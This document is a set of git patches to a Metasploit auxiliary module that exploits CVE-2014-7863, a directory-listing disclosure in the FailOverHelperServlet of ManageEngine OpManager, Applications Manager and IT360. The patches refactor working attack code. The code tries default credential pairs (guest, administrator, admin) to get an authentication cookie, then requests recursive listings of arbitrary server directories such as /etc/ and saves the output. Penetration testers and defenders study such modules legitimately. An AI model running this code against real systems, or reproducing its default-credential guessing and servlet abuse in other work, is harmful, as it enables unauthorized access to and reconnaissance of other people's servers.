From 89f760c94e854db62dced36420687908b590f3d9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 30 Jan 2015 14:08:55 -0600 Subject: [PATCH 1/5] Clean metadata --- .../admin/http/manageengine_dir_listing.rb | 40 +++++++++---------- 1 file changed, 19 insertions(+), 21 deletions(-) diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index 1892ec6554..78404c25ac 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -12,35 +12,33 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => "ManageEngine OpManager / Applications Manager / IT360 Arbitrary Directory Listing", + 'Name' => "ManageEngine Multiple Products Arbitrary Directory Listing", 'Description' => %q{ - This module exploits a directory listing information disclosure vulnerability in - FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. - It recurses through diretories, so it will list the whole drive if you ask it to list - / in Linux or C:\ in Windows. - This vulnerability is unauthenticated on OpManager and Applications Manager, but - authenticated in IT360. This module will attempt to login using the default - credentials for the administrator and guest accounts; alternatively you can provide a - pre-authenticated cookie or a username / password combo. - For IT360 targets enter the RPORT of the OpManager instance (usually 8300). - This module has been tested on both Windows and Linux with several different versions - Windows paths have to be escaped with 4 backslashes on the command line. - There is a companion module that allows you to download an arbitrary file. - This vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6. + This module exploits a directory listing information disclosure vulnerability in the + FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It + makes a recursive listing, so it will list the whole drive if you ask it to list / in + Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and + Applications Manager, but authenticated in IT360. This module will attempt to login + using the default credentials for the administrator and guest accounts; alternatively + you can provide a pre-authenticated cookie or a username / password combo. For IT360 + targets enter the RPORT of the OpManager instance (usually 8300). This module has been + tested on both Windows and Linux with several different versions Windows paths have to + be escaped with 4 backslashes on the command line. There is a companion module that + allows you to download an arbitrary file. This vulnerability has been fixed in Applications + Manager v11.9 b11912 and OpManager 11.6. }, - 'Author' => + 'Author' => [ 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module ], - 'License' => MSF_LICENSE, + 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2014-7863' ], - [ 'OSVDB', 'TODO' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt' ], - [ 'URL', 'FULLDISC_URL' ] + ['CVE', '2014-7863'], + ['OSVDB', 'TODO'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'], + ['URL', 'FULLDISC_URL'] ], - 'DefaultOptions' => { 'WfsDelay' => 30 }, 'DisclosureDate' => 'Jan 28 2015')) register_options( From c5db13fba91402f68e5cebc81e2c92f510235d89 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 30 Jan 2015 14:13:11 -0600 Subject: [PATCH 2/5] Do minor style fixes --- .../admin/http/manageengine_dir_listing.rb | 57 +++++++++---------- 1 file changed, 26 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index 78404c25ac..7a9deb32b8 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -44,17 +44,12 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptString.new('TARGETURI', - [ true, "The base path to OpManager, AppManager or IT360", '/' ]), - OptString.new('DIRECTORY', [false, 'Path of the directory to list', '/etc/']), - OptString.new('IAMAGENTTICKET', - [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), - OptString.new('USERNAME', - [true, 'The username to login as (IT360 target only)', 'guest']), - OptString.new('PASSWORD', - [true, 'Password for the specified username (IT360 target only)', 'guest']), - OptString.new('DOMAIN_NAME', - [false, 'Name of the domain to logon to (IT360 target only)']) + OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']), + OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']), + OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), + OptString.new('USERNAME', [true, 'The username to login as (IT360 target only)', 'guest']), + OptString.new('PASSWORD', [true, 'Password for the specified username (IT360 target only)', 'guest']), + OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) ], self.class) end @@ -64,30 +59,33 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) }) + if res return res.get_cookies end end - def detect_it360 res = send_request_cgi({ - 'uri' => "/", + 'uri' => '/', 'method' => 'GET' }) + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ return true end + return false end - def get_it360_cookie_name res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri("/"), + 'uri' => normalize_uri('/') }) + cookie = res.get_cookies + if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ return $1 else @@ -95,21 +93,19 @@ class Metasploit3 < Msf::Auxiliary end end - - def authenticate_it360(port, path, username, password) - if datastore['DOMAIN_NAME'] == nil + if datastore['DOMAIN_NAME'].nil? vars_post = { - 'LOGIN_ID' => username, - 'PASSWORD' => password, - 'isADEnabled' => "false" + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'false' } else vars_post = { - 'LOGIN_ID' => username, - 'PASSWORD' => password, - 'isADEnabled' => "true", - 'domainName' => datastore['DOMAIN_NAME'] + 'LOGIN_ID' => username, + 'PASSWORD' => password, + 'isADEnabled' => 'true', + 'domainName' => datastore['DOMAIN_NAME'] } end @@ -140,16 +136,16 @@ class Metasploit3 < Msf::Auxiliary def login_it360 # Do we already have a valid cookie? If yes, just return that. - if datastore['IAMAGENTTICKET'] != nil + unless datastore['IAMAGENTTICKET'].nil? cookie_name = get_it360_cookie_name - cookie = "IAMAGENTTICKET" + cookie_name + "=" + datastore['IAMAGENTTICKET'] + ";" + cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';' return cookie end # get the correct path, host and port res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri("/"), + 'uri' => normalize_uri('/') }) if res && res.redirect? @@ -177,11 +173,10 @@ class Metasploit3 < Msf::Auxiliary return nil end - def run # No point to continue if directory is not specified - if datastore['DIRECTORY'].nil? || datastore['DIRECTORY'].empty? - print_error("Please supply the path of the directory you want to list.") + if datastore['DIRECTORY'].empty? + print_error('Please supply the path of the directory you want to list.') return end From d4359c4f1cab851d2a3b564fcb07b0ab71e6ff88 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 30 Jan 2015 15:00:34 -0600 Subject: [PATCH 3/5] Rework login_it360 code --- .../admin/http/manageengine_dir_listing.rb | 63 ++++++++++++------- 1 file changed, 40 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index 7a9deb32b8..d52c80cee1 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -47,22 +47,25 @@ class Metasploit3 < Msf::Auxiliary OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']), OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']), OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), - OptString.new('USERNAME', [true, 'The username to login as (IT360 target only)', 'guest']), - OptString.new('PASSWORD', [true, 'Password for the specified username (IT360 target only)', 'guest']), + OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']), + OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) ], self.class) end def get_cookie + cookie = nil res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) }) if res - return res.get_cookies + cookie = res.get_cookies end + + cookie end def detect_it360 @@ -128,9 +131,9 @@ class Metasploit3 < Msf::Auxiliary if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" return res.get_cookies - else - return nil end + + nil end @@ -154,23 +157,36 @@ class Metasploit3 < Msf::Auxiliary return nil end - cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) - if cookie != nil - return cookie - elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil - # we've tried with the default guest password, now let's try with the default admin password - cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator') - if cookie != nil + if datastore['USERNAME'] && datastore['PASSWORD'] + print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...") + cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) + unless cookie.nil? return cookie - else - # Try one more time with the default admin login for some versions - cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin') - if cookie != nil - return cookie - end end end - return nil + + # Trying with the default guest password + print_status("#{peer} - Trying to authenticate as guest/guest...") + cookie = authenticate_it360(uri[0], uri[1], 'guest', 'guest') + unless cookie.nil? + return cookie + end + + # we've tried with the default guest password, now let's try with the default admin password + print_status("#{peer} - Trying to authenticate as administrator/administrator...") + cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator') + unless cookie.nil? + return cookie + end + + # Try one more time with the default admin login for some versions + print_status("#{peer} - Trying to authenticate as admin/admin...") + cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin') + unless cookie.nil? + return cookie + end + + nil end def run @@ -183,14 +199,15 @@ class Metasploit3 < Msf::Auxiliary if detect_it360 print_status("#{peer} - Detected IT360, attempting to login...") cookie = login_it360 - if cookie == nil - print_error("#{peer} - Failed to login to IT360!") - return - end else cookie = get_cookie end + if cookie.nil? + print_error("#{peer} - Failed to get application cookies!") + return + end + servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet' res = send_request_cgi({ 'method' => 'GET', From bb640b90ef5968ad278c2e1c451b9be0f49f3c4c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 30 Jan 2015 15:02:23 -0600 Subject: [PATCH 4/5] Refactor login_it360 --- .../admin/http/manageengine_dir_listing.rb | 25 ++++++------------- 1 file changed, 7 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index d52c80cee1..66643a95b5 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -165,25 +165,14 @@ class Metasploit3 < Msf::Auxiliary end end - # Trying with the default guest password - print_status("#{peer} - Trying to authenticate as guest/guest...") - cookie = authenticate_it360(uri[0], uri[1], 'guest', 'guest') - unless cookie.nil? - return cookie - end + default_users = ['guest', 'administrator', 'admin'] - # we've tried with the default guest password, now let's try with the default admin password - print_status("#{peer} - Trying to authenticate as administrator/administrator...") - cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator') - unless cookie.nil? - return cookie - end - - # Try one more time with the default admin login for some versions - print_status("#{peer} - Trying to authenticate as admin/admin...") - cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin') - unless cookie.nil? - return cookie + default_users.each do |user| + print_status("#{peer} - Trying to authenticate as #{user}...") + cookie = authenticate_it360(uri[0], uri[1], user, user) + unless cookie.nil? + return cookie + end end nil From c9ac56442db21174a246101712405f6ed89a8751 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 30 Jan 2015 15:05:46 -0600 Subject: [PATCH 5/5] No modify datastore option --- .../auxiliary/admin/http/manageengine_dir_listing.rb | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/admin/http/manageengine_dir_listing.rb b/modules/auxiliary/admin/http/manageengine_dir_listing.rb index 66643a95b5..023a1d11e3 100644 --- a/modules/auxiliary/admin/http/manageengine_dir_listing.rb +++ b/modules/auxiliary/admin/http/manageengine_dir_listing.rb @@ -112,10 +112,8 @@ class Metasploit3 < Msf::Auxiliary } end - op_port = datastore['RPORT'] - datastore['RPORT'] = port - res = send_request_cgi({ + 'rport' => port, 'method' => 'POST', 'uri' => normalize_uri(path), 'vars_get' => { @@ -126,8 +124,6 @@ class Metasploit3 < Msf::Auxiliary 'vars_post' => vars_post }) - datastore['RPORT'] = op_port - if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" return res.get_cookies @@ -217,7 +213,7 @@ class Metasploit3 < Msf::Auxiliary 'vars_get' => { 'operation' => 'listdirectory', 'rootDirectory' => datastore['DIRECTORY'] - }, + } }) rescue Rex::ConnectionRefused print_error("#{peer} - Could not connect.") @@ -225,7 +221,7 @@ class Metasploit3 < Msf::Auxiliary end # Show data if needed - if res && res.code == 200 + if res && res.code == 200 && res.body vprint_line(res.body.to_s) fname = File.basename(datastore['DIRECTORY']) @@ -233,7 +229,7 @@ class Metasploit3 < Msf::Auxiliary 'manageengine.http', 'text/plain', datastore['RHOST'], - res.body, + res.body.to_s, fname ) print_good("File with directory listing saved in: #{path}")